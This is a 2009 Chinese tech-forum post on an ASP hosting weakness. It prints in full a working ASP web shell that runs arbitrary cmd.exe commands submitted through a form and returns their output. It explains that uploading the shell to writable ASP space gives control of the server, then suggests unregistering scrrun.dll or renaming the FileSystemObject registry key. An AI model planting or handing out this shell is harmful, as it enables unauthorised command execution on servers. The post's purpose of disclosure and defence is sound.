找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 8425|回复: 1

利用ASP服务攻击的漏洞描述及解决方法

[复制链接]
发表于 2009-11-23 00:40:01 | 显示全部楼层 |阅读模式 IP:江苏扬州
请先看如下的代码:
%@ Language=VBScript %>
%
Dim oScript
Dim oScriptNet
Dim oFileSys oFile
Dim szCMD szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " >" & szTempFile 0 True)
Set oFile = oFileSys.OpenTextFile (szTempFile 1 False 0)
End If
%>
HTML>
BODY>
FORM action="%= Request.ServerVariables("URL") %>" method="POST">
input type=text name=".CMD" size=45 value="">
input type=submit value="Run">
/FORM>
PRE>
%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile True)
End If
%>
/BODY>
/HTML>
  看出什么来没有?
漏洞描述:
  你只要把它保存为*.asp放到一个支持asp的空间里,然后打开浏览器[url=http://***.***.***/*.asp]http://***.***.***/*.asp 就可以一目了然了。可以使用dos命令对服务器进行任何操作。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人主页服务器,把这个文件先传上你申请的主页空间,然后再浏览器里打开此页面直接使用dos命令。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
  所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
解决方法:
  其实它就是利用了上面讲的filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢?一种下下的方法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
  在MS-DOS状态下面键入:
Regsvr32 /u \%winnt%\system\scrrun.dll

  但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能两全其美呢?
  我们可以做到禁止他人非法使用FileSystemObject对象但是我们自己仍然可以使用这个对象。
  方法如下:
  查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值将其更改成为你想要的字符串(右键-->"重命名")比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObjectx
  这样在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectx")
  而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
  如果再有人使用通常的方法来调用FileSystemObject对象就会无法使用了。当然除此之外我们还可以使用第三方的软件来解决这个问题
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-10-1 01:20 , Processed in 0.146784 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表